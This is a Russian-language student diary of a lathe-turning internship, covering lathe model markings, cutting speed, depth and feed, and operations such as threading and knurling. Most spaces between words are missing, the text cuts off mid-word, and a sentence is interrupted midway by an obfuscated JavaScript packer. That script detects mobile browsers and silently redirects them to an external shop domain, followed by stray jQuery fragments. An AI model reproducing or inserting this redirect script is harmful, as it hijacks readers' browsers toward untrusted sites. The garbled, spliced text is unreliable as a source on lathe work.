Дневниктокарнойпрактики
Недавнозавершиласьмногодневнаятокарнаяпроизводственнаяпрактика. Входеобученияякомплексноознакомилсяс устройством, принципамиработы, параметрамимоделейуниверсальныхтокарныхстанков, основамиэксплуатациииключевымизнаниямипомеханическойобработкеметаллов. Начинаяс первогознакомствас оборудованием иизученияправилмаркировкимоделейстанков, освоениятрёхэлементоврежимарезания, разнообразныхтехнологийобработкиизаканчиваясамостоятельным выполнением базовыхопераций: сверлением, точением наружныхцилиндрическихповерхностей, нарезанием резьбы, накаткой. Практикаукрепиламоитеоретическиезнанияпомашиностроениюиотработалапрактическиенавыки. Яглубокоосозналтребовательность, точностьинормативностьпроизводственныхпроцессовмеханическойобработки. Далееподробноописанвесьходпрактики, освоенныезнания, устранениепроблем иличныевыводы.
Наначальном этапепрактикипреподавательорганизовалтеоретическоеознакомлениес токарнымистанкамииподробноразобралправилаформированияобозначениймоделейгоризонтальныхтокарно-винторезныхстанков — базовыезнаниядляначинающеготокаря, ставшиеодним изглавныхнаправлениймоегообучения. Ранееясовершеннонеразбиралсявмаркировкестанков, носистематическиезанятияпозволилимнеразобратьобозначениядвухклассическихгоризонтальныхстанков C620-1 и CA6140, понятьразличиястаройиновоймаркировкииособенностиэксплуатациикаждоймодели.
C620-1 — устаревшаямодельгоризонтальноготокарно-винторезногостанка, классическоеоборудованиедляпроизводственныхцехов. Вмаркировкеперваябуква C — классификационныйкод, обозначающийтокарнуюгруппустанков; цифра 6 указываеттипконструкции — горизонтальныйтокарныйстанок, чтопозволяетотличитьегоотвертикальныхмоделей; цифра 20 — основнойпараметр оборудования, максимальныйрадиус обрабатываемойзаготовкинадстаниной, определяющийпредельныегабариты деталей, которыеможноизготовитьнастанке. Тиревобозначенииуказываетнабазовуюстаруюмодель, ацифра 1 вконцеговоритопервоймодернизацииконструкции. Посравнениюс современнымистанками C620-1 имеетпростоеустройство, ограниченныйнабор функций. Из-законструктивныхограниченийонрассчитаннанебольшойпереченьобрабатываемыхматериалов, имеетузкийдиапазондиаметровобработки, малоеколичествофиксированныхступенейоборотовшпинделяс низкойточностьюрегулировкичастоты вращения. Точностьобработкиипроизводительностьоборудованияневысокие, поэтомусейчас егоиспользуютпреимущественнодлячерновойобработкивучебныхмастерскихинастарыхпроизводственныхучастках.
CA6140 — современныйуниверсальныйгоризонтальныйтокарно-винторезныйстанок, широкоиспользуемыйкаквучебныхмастерских, такинапромышленныхпредприятиях, поэксплуатационным характеристикам значительноопережаетстаруюмодель C620-1. Буква C по-прежнемуявляетсякодом токарногооборудования, буква A означаеткрупнуюмодернизациюбазовоймодели, входекоторойоптимизированаконструкция, трансмиссияиточностныехарактеристикиоборудования. Комбинацияцифр 61 — кодгруппы итипастанка, отличающийконструктивнуюсхемуотустаревшихмоделей. Последняяцифра 40 — основнойэксплуатационныйпараметр, указывающийнамаксимальныйдиаметр обрабатываемойзаготовки 400 мм. Станокимеетболееширокийдиапазонразмеровобработкииуниверсальность. Дополнительно CA6140 поддерживаетнарезаниелевыхрезьб, устраняяосновнойнедостатокстарогооборудования. Онподходитдляобработкиразнообразныхметаллическихматериалов, позволяетгибкорегулироватьчастотувращенияшпинделяиподачувзависимостиотматериалаигабаритовзаготовки, отличаетсявысокойточностью, стабильностьюиуниверсальностьюиявляетсяосновным оборудованием токарныхцехов.
Послеосвоенияособенностеймоделейтокарныхстанковмы приступиликизучениюосновноготеоретическогоразделатокарнойобработки — трёхэлементоврежимарезания. Этобазалюбойтокарнойобработки, напрямуюопределяющаякачествоготовойдетали, степеньизносарежущегоинструментаипроизводительностьпроцесса, поэтомупараметры требуютстрогогоконтроляприпрактическойработе. Ктрём элементам режимарезанияотносятсяскоростьрезания, глубинарезанияиподача. Этипараметры взаимосвязаны, влияютдругнадругаинемогутрассматриватьсяпоотдельности.
Скоростьрезания — относительнаялинейнаяскоростьдвижениярежущейкромкиинструментаотносительноповерхностизаготовки. Еёрегулируютвзависимостиотматериалазаготовки, материаларежущегоинструментаитребованийкточностиобработки. Приобработкевысокопрочныхсталейскоростьрезанияснижают, чтобы избежатьполомкирезцаитермическогоповрежденияповерхностидетали. Приобработкемягкихматериалов, такихкакалюминийимедь, допускаетсяувеличениечастоты вращенияшпинделяискоростирезаниядляповышенияпроизводительности. Устарогостанка C620-1 малофиксированныхступенейоборотов, поэтомусложноподобратьоптимальныйрежим дляразныхматериалов, втовремякак CA6140 имеетширокийдиапазониплавнуюградациюоборотов, чтопозволяетнастроитьтребуемуюскоростьрезаниядлялюбогоматериала.
Глубинарезания — толщинаслояметалла, срезаемогоинструментом заодинрабочийпроход. Параметр определяетприпускнаобработкуиточностьразмеровдетали. Причерновойобработкедопускаетсяувеличениеглубины резаниядлябыстрогоудалениялишнегометаллаиускоренияработы. Причистовойобработкеглубинурезанияобязательноуменьшают, последовательноснимаяостаточныйприпускдляобеспеченияровностиповерхностииточностиразмеров, предотвращаяпогрешностиицарапины надетали.
Подача — расстояние, накотороерезецперемещаетсявдольосизаготовкизаодинеёполныйоборот. Прислишком большойподаченаповерхностидеталиобразуютсявыраженныеследы отинструмента, возрастаетшероховатость, возможнаполомкарезцаидеформациязаготовки. Слишком малаяподачаприводиткрезкомуснижениюпроизводительности, вызываетдлительноетрениеинструментаозаготовку, перегревдетали, отпускповерхностногослояипочернениеобрабатываемойповерхности. Напрактикетребуетсярациональноподбиратьсочетаниетрёхэлементоврежимарезаниядлячерновойичистовойобработки, соблюдаябаланс производительностиикачествадеталей.
Завершивизучениетеории, мы перешликпрактическойотработкенавыков, освоениюработы с оснасткойтокарногостанкаиразнообразныхтехнологийточения. Сначаламы познакомилисьс основным зажимным приспособлением — трёхкулачковым самоцентрирующим патроном, предназначенным дляфиксациизаготовок. Призакреплениидеталинеобходимообесп
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786774|210199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
ечитьнадёжныйзажим исовпадениеосизаготовкис осьювращенияшпинделя, чтобы исключитьсмещениеиэксцентриситетвовремяобработки, чтоприводиткразмерным погрешностям иопасным ситуациям. Силазажимадолжнабытьоптимальной: слабыйзажим вызываетвибрациюисмещениезаготовки, ачрезмерноеусилиеприводиткдеформациитонкостенныхдеталей. Этоодноизбазовых, новажнейшихправилтокарнойработы.
Входеотработкибазовыхоперацийяпоследовательноосвоилвсеосновныевиды токарнойобработки: формообразующуюобработку, сверление, нанесениетекстур наповерхность. Косновным формообразующим операциям относятсяточениеторцов, наружныхивнутреннихцилиндрическихповерхностей, конусовинарезаниерезьбы — основаработы токаря. Точениеторцовиспользуетсядлявыравниванияторцевойповерхностизаготовки, обеспеченияперпендикулярностиплоскостиосишпинделя. Точениенаружныхцилиндров — наиболеераспространённаяоперациядляизготовлениявнешнихцилиндрическихконтуровдеталей. Точениевнутреннихотверстийприменяютприизготовлениивтулок, колецидругихдеталейс внутреннимиразмерами. Дляточенияконусовтребуетсярегулировкауглаповоротамалойсуппортадляточногозаданияуглаконусностииплотногоприлеганияконическихповерхностейприсборке. Нарезаниерезьбы разделяетсянаобычнуюправуюиспецифическуюлевуюрезьбу; дляработы требуетсяточноесоответствиечастоты вращенияшпинделяиподачи, чтобы обеспечитьправильныйпрофильвитковиточныйшагрезьбы.
Помимостандартнойформообразующейобработкияосвоилизготовлениефасонныхповерхностей, прямуюисетчатуюнакатку. Накаткаиспользуетсяприизготовленииручек, регуляторовидругихдеталей, требующихпротивоскользящейповерхности. Прямаянакаткасоздаётровныепараллельныеканавки, сетчатая — перекрёстныйузор. Длянакаткиустанавливаютспециальныйнакатнойинструмент, подбираютоптимальныеобороты иподачу, чтобы получитьравномерныйузор одинаковойглубины, исключаяперекос инеравномерностьканавок.
Приотработкеоперацийсверленияяосвоилправилаработы с центровочным сверлом, спиральным сверлом иразвёрткой, соблюдаяпоследовательностьтехнологическихпереходов. Приизготовленииглубокихиливысокоточныхотверстийпервым шагом выполняютцентровочноесверлениедляточногоразметкицентраотверстия, предотвращаясмещениесверлаиэксцентриситет. Послецентровкивыполняютчерновоесверлениедляудаленияосновногоприпуска, затем чистовоеразвёртываниедлякорректировкидиаметраотверстияиповышениячистоты внутреннейповерхности, удовлетворяятребованиям точнойсборки. Такжевовремяпрактикияузналобластьпримененияпружинныхупоровдлятокарныхстанков: приобработкедлинныхваловупор обеспечиваетдополнительнуюопору, снижаетвибрациюидеформациюзаготовки, повышаетточностьобработки.
Впроцессепрактическойработы ястолкнулсяс множеством трудностей, ноприподдержкепреподавателяустранилвсенедостаткиинакопилценныйпроизводственныйопыт. Наначальном этапеяневерноподбиралсочетаниеэлементоврежимарезания: приобработкестальныхзаготовокслишком высокаяскоростьибольшаяподачаприводиликускоренномуизносурезца, наповерхностидеталейпоявлялисьявныеследы отинструментаизаусенцы. Принакаткенестабильнаяподачавызываланеравномерныйшагузора. Иногдапризакреплениизаготовкинабл